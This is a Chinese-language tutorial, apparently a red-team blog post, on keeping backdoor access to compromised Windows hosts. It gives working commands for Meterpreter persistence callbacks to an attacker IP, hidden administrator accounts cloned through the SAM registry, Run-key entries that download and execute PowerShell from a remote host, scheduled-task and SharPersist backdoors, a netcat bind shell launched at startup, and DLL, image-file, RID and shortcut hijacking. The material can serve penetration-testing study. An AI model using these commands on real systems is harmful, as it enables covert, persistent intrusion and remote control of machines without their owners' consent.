前言
最近終於不是那麼忙了,有時間靜下心來學點知識,這篇文章自起稿到釋出,用時近三週,其中有近一週的時間在迷茫在焦躁,甚至懷疑、否定自己。網上的表哥們個頂個兒的優秀,於是就給自己很大的壓力,所以那一個周的迷茫期裡,我打了一天的聯盟,這裡要譴責下自己,下次調節自己儘量快,別浪費時間,這樣,強迫症的我也就不用半夜發稿了,哈哈哈。最後也想明白了,與其直接放棄,不如放空自己,事情還是要接著做,安全路還是要走,堅持苟到最後才能問鼎殿堂,成為真正的強者。所以靠著碎片時間學習、操作並整理出來。截止文章釋出時間,北京疫情又反覆了,看了三位病例的行程軌跡,自愧不如感慨萬千,與12月初成都那位比起來,北漂們的生活既匆忙又真實,生存與生活真的是兩個概念。
Window許可權維持
幾種常見的 Windows 系統後門,包括Windows系統隱藏使用者、Shift粘粘鍵後門、登錄檔後門、Windows 計劃任務、Windows 新服務後門、WMI後門等等。
0x00.Presistence模組實現持久後門
Meterpreter的指令碼persistence.rb,他將建立一個meterprer服務,即使遠端主機再次啟動,該指令碼依然可以讓主機重新連線遠端的攻擊埠,由於meterpreter不需要身份驗證,這也導致任何發現埠的黑客也可利用此渠道進入後門,在真實情況下,建議完成任務後儘快自行清理。
在獲取主機session後,可以通過”-h”檢視哪些選項可用:
配置持續Meterpreter會話,以等待使用者登入到遠端系統,並嘗試每5秒鐘在埠17722上的IP地址xx.xx.xx.xx連線回監聽器。命令如下:
run persistence -U -i 5 -p 17722 -r xx.xx.xx.xx
經過提示判斷,該元件主要是在C盤Temp下建立一個vbs檔案,在登錄檔中設定,開機啟動該vbs指令碼。重啟主機並驗證是否重連,發現開啟監聽埠後,主機重新連線了埠,產生session:
注意:每次使用該模組,msf會自動生成一個rc檔案,執行該檔案的命令,可刪除目標機器中的vbs指令碼,防止對目標系統造成一些後續影響,建議在滲透測試結束後執行該操作。
0x01.隱藏賬戶
該方法是通過建立隱藏賬戶,製作系統使用者遠端控制後門,維持目標Windows系統許可權。製作方法跟步驟如下:
Tip:解決中文亂碼
chcp 65001
1)在目標主機cmd中輸入以下命令,建立一個名為whoami$的隱藏賬戶,並把該隱藏賬戶設定為管理員許可權。
net user zha0gongz1$ Liu78963 /add
net localgroup administrators zha0gongz1$ /add
如上圖,我們已經建立成功,執行net user命令,發現是看不到zha0gongz1$使用者,但是這就結束了嗎,沒有!雖然上面net user看不見該隱藏使用者,但是在控制皮膚和計算機管理的本地使用者和組中,仍然是可以看的到該使用者的:
為了更好地隱藏我們的後門賬戶,我們還要開啟目標主機的遠端桌面進行如下操作。
開啟登錄檔編輯器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,單機右建,選擇“許可權”,把Administrator使用者的許可權,設定成“完全控制”許可權,然後關閉登錄檔編輯器,再次開啟即可。
這樣SAM下的檔案就都能看見了。
然後,在登錄檔編輯器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
處,點選Administrator使用者,在左側找到和在右邊顯示的鍵值的型別一項“0x1f4”相同的目錄名,也就是箭頭所指目錄“000001F4”:
複製000001F4
目錄中的F鍵的值:
然後找到與隱藏賬戶whoami$右邊型別的鍵值“0x3e9”相同的目錄名
然後將000001F4
的F值貼上到000003E9
的F值中,點選確定:
然後從登錄檔中右鍵匯出000003E9
和zha0gongz1$
,並刪除zha0gongz1$
使用者 :
net user zha0gongz1$ /del
此時,檢視登錄檔以及本地使用者和組或者控制皮膚,zha0gongz1$
使用者已經沒有了:
最後,將剛才匯出的兩個字尾為.reg的登錄檔項匯入登錄檔中:
這樣我們的隱藏賬戶zha0gongz1$就建立好了。現在,不管你是在命令提示符下輸入 net user 或者在系統使用者管理介面都是看不到zah0gongz1$這個賬戶的,只有在登錄檔中才能看得到。
0x02.登錄檔鍵後門
該方法是通過將需要執行的後門程式或者攻擊指令碼路徑新增到登錄檔的自動啟動項中,從而實現目標主機啟動或登入時便會執行後門程式使我們獲得其控制許可權。
一般我們使用登錄檔的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 開啟時啟動程式
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登入時啟動程式
(1)手動製作
首先我們製作一個metasploit後門:
將該後門程式上傳到目標主機的C:\Windows\System32目錄中:
然後在目標主機的meterpreter執行如下命令登錄檔進行操作製作後門:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #列舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #設定鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #檢視鍵值
如上圖所示,後門建立成功。此時我們重新開一個metasploit監聽,然後輸入“shutdown -r -t 0”命令讓目標主機重啟,當目標主機重新啟動後便會啟動執行backdoor.exe後門程式,我們攻擊機的新開的metasploit監聽上就會成功上線:
使用以下命令也可以一鍵實現無檔案登錄檔後門:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
我們還可以操作登錄檔的Userinit鍵,這個鍵值預設為C:\Windows\system32\userinit.exe,後面加路徑,再加逗號也可以。這裡也能夠使系統啟動時自動初始化程式。通常該註冊鍵下面有一個userinit.exe,但這個鍵允許指定用逗號分隔的多個程式,例如“userinit.exe,OSA.exe”:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
讓目標主機在使用者進行登陸時,winlogon執行指定的後門程式。
除此之外還有以下可利用的登錄檔鍵:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只會在開機時啟動一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)Metasploit 下的利用
Metasploit通過使用Meterpreter指令碼和後滲透模組來支援通過登錄檔的永續性。Meterpreter指令碼將以VBS指令碼的形式建立一個有效payload,該payload將被上傳到目標主機的磁碟上,並建立一個登錄檔項,該登錄檔項將在使用者登入期間迴圈執行該有效負載。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
- -U指定啟動方式為使用者登入時自啟動
- -X指定啟動的方式為開機自啟動
- -P 指定所使用的payload
- -i不斷嘗試反向連線的時間間隔,我們這裡設定的是5秒鐘執行一次
- –r指定攻擊者的ip
- -p 指定攻擊者監聽的埠
(3)Empire 下的利用
在Empire上面有一個persistence/userland/registry後滲透模組,可以自動幫我們完成上面手動建立登錄檔後門的任務。
假設我們已經在Empire上面獲得了一個目標主機的session,我們可以通過設定該模組在目標主機上建立登錄檔後門:
usemodule persistence/userland/registry
set Listener <監聽名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下圖所示,成功在目標主機上建立後門:
注意:防毒軟體針對此類登錄檔後門有專門的查殺機制。
序號產生器開機啟動項
- Load註冊鍵
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一個字串名為load鍵值
- Explorer\Run註冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- RunServicesOnce註冊鍵
# 其中的程式會在系統載入時自動啟動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
- 常用註冊鍵
# 其下的所有程式在每次啟動登入時都會按順序自動執行。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# 與Run鍵不同的是,RunOnce下的程式僅會被自動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- RunOnceEx鍵
#Tips: 該鍵是 Windows XP/2003 特有的自啟動登錄檔項。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
0x03.Windows 計劃任務後門
計劃任務可以讓目標主機在特定的時間執行我們預先準備的後門程式從而使我們獲得目標系統的控制權。計劃任務的持久化技術可以手動實現,也可以自動實現。有效負載可以從磁碟或遠端位置執行,它們可以是可執行檔案、powershell指令碼或scriptlet的形式。
(1)利用 at 命令
at 命令是Windows自帶的用於建立計劃任務的命令,但是他主要工作在Windows Server 2008之前版本的作業系統中。我們可以通過at命令通過跳板機在目標主機DC上建立計劃任務,讓計算機在指定的時間執行木馬程式,從而獲得對內網目標主機的控制。
- 首先在目標主機上傳metasploit生成的後門程式:
- 然後進入目標主機的shell使用net time命令確定目標主機的當前時間:
- 接著在目標主機的shell中使用at命令建立計劃任務,讓目標主機在指定的時間執行metasploit木馬程式:
at 21:36:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上圖所示,計劃任務建立成功,目標主機將在每個工作日的21:36:00執行後門程式,我們便可以在這個時間獲得目標機器的控制權
2)利用 schtasks 命令
上面我們講了用at命令建立計劃任務,但是該命令已經被Windows Vista、Windows Server 2008及之後版本的作業系統廢棄了,代替他的是schtasks命命令。schtasks命令比at命令更為靈活、自由。下面來演示schtasks命令的使用,於是,攻擊者開始使用schtasks命令來代替at命令。
利用schtasks建立後門的大致流程如下:
-
首先在目標主機上傳metasploit生成的後門程式。
-
然後在目標主機上建立一個名稱為“backdoor”的計劃任務。該計劃任務每分鐘啟動一次,啟動程式為我們之前到C盤下的backdoor.exe,啟動許可權為system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然後新開一個metasploit監聽,等待一分鐘後這個監聽便收到了目標主機的session,並且這個session還是system許可權的。
(3)利用SharPersist工具
下載地址:https://github.com/fireeye/SharPersist/releases
SharPersist的建立是為了幫助使用多種不同的技術在Windows作業系統上建立永續性。它是一個國外安全人員用C#編寫的命令列工具,可以反射性的載入Cobalt Strike的“execute-assembly”命令或任何其他支援反射性載入.NET程式集的框架。SharPersist採用模組化設計,以便將來新增新的永續性技術。還有一些與tradecraft相關的項已經內建到該工具及其支援的永續性技術中,例如file time stomping策略和最小化或隱藏執行應用程式。
該工具支援的永續性技術有:
keepass
-keepass配置檔案後門reg
-登錄檔項新增/修改schtaskbackdoor
-通過向後門計劃任務新增其他操作來完成該任務startupfolder
-啟動資料夾中的lnk檔案tortoisesvn
-烏龜svn鉤子指令碼service
-建立新的Windows服務schtask
-建立新的計劃任務
如果使用者具有管理員級別的特權,則可以通過SharPersist工具建立一個新的計劃任務,該任務將在Windows登入期間執行我們上傳好的有效載荷。
-
在目標主機上傳我們新生成的metasploit木馬和SharPersist程式:
-
然後使用以下命令建立我們惡意的計劃任務:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然後新開一個metasploit監聽,收到目標主機的session,並且還是system許可權的:
0x04.NC+登錄檔實現持久後門
注意:此方法防火牆一般都會攔截,實用性一般
使用meterpreter上傳nc.exe,並列舉登錄檔內容(開機啟動)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
向該登錄檔增加內容(開機啟動)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 11111 -e cmd.exe'
檢視對應nc登錄檔鍵值是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
確定重啟後目標系統開機是否正常執行nc.exe(防火牆已經關閉,這裡雖獲取到session,但不穩定,不明原因,瞭解的師父還請留下寶貴的知識點,抱拳了)
0x05.DLL 劫持
在載入DLL過程中,系統都是先在程式目錄載入DLL,如果沒有找到就按照規定的順序去搜尋,但如果DLL的路徑沒有在system32中,攻擊者就有可能偽造一個dll被程式載入。
系統在使用DLL搜尋順序取決於世否啟用安全的DLL搜尋模式 。
TIPS:
WindowsXP預設情況下禁用安全DLL搜尋模式。之後OS預設啟用安全DLL搜尋模式。若要使用此功能,需建立 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 登錄檔值,0為禁止,1為啟用。
SafeDLLSearchMode啟用後,搜尋順序如下:
1. 從其中載入應用程式的目錄、
2. 系統目錄。使用GetSystemDirectory函式獲取此目錄的路徑。
3. 16位系統目錄。沒有獲取此目錄的路徑的函式,但會搜尋它。
4. Windows目錄。 使用GetWindowsDirectory函式獲取此目錄。
5. 當前目錄。
6. PATH環境變數中列出的目錄。
SafeDLLSearchMode禁用後,搜尋順序如下:
1. 從其中載入應用程式的目錄
2. 當前目錄
3. 系統目錄。使用GetSystemDirectory函式獲取此目錄的路徑。
4. 16位系統目錄。沒有獲取此目錄的路徑的函式,但會搜尋它。
5. Windows目錄。 使用GetWindowsDirectory函式獲取此目錄。
6. PATH環境變數中列出的目錄。
DLL劫持利用搜尋順序來載入惡意DLL以代替合法DLL。如果應用程式使用Windows的DLL搜尋來查詢DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程式將載入惡意DLL。
可以用來劫持系統程式,也可以劫持使用者程式。劫持系統程式具有相容性,劫持使用者程式則有針對性。可以劫持系統程式的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll為列,explorer桌面程式的啟動需要載入lpk.dll,當進入桌面後lpk.dll便被載入了,劫持lpk.dll之後,每次啟動系統,自己的lpk.dll都會被載入,實現了持久化攻擊的效果。
DLL 劫持利用搜尋順序來載入惡意DLL以代替合法DLL。如果應用程式使用Windows的DLL搜尋來查詢DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程式將載入惡意DLL。
編譯後劫持用的DLL檔案改成原DLL檔案的名字,原DLL檔案改為程式碼中呼叫DLL檔案的名字。(為了保證應用程式的正常執行,需要在執行惡意DLL檔案後繼續載入應用程式缺失的DLL檔案)。
0x06.資料夾啟動
在每次開機或重啟的時候就會執行啟動資料夾下的程式。
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
0x07.映像劫持
在下面登錄檔路徑下建立一個子項,子項的名稱為你要劫持的exe
名稱,比如 cmd.exe
,然後建立一個值,鍵名為Debugger
, 值為要執行的惡意指令碼。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
執行 cmd.exe
時執行成功執行 calc.exe
(測試時安全軟體攔截,所以要先退出殺軟)。
0x08. RID劫持
新建一個普通使用者 zha0gz
,按照0x01中設定Administrator許可權為完全控制時才能在下面登錄檔找到。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
對於Windows系統來說,登錄檔下包含當前系統的所有帳戶列表,每個帳戶的預設鍵值對應該帳戶詳細資訊的登錄檔位置 (即RID的十六進位制表示)。
檢視 Administrator
對應鍵值,數值名稱為F
,數值內容 0030
的位置複製到 zha0gz
對應鍵值,數值名稱為F
,數值內容 0030
的位置。
點選確定然後關機重啟,登陸 zha0gz
使用者。
0x09.快捷方式劫持
Windows快捷方式包含對系統上安裝的軟體或檔案位置(網路或本地)的引用。快捷方式的副檔名是.LNK
,它為 紅隊提供了很多機會來執行各種格式的程式碼 exe、vbs、Powershell、scriptlet等。
如下案例,powershell 並沒有做任何處理只做演示學習。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"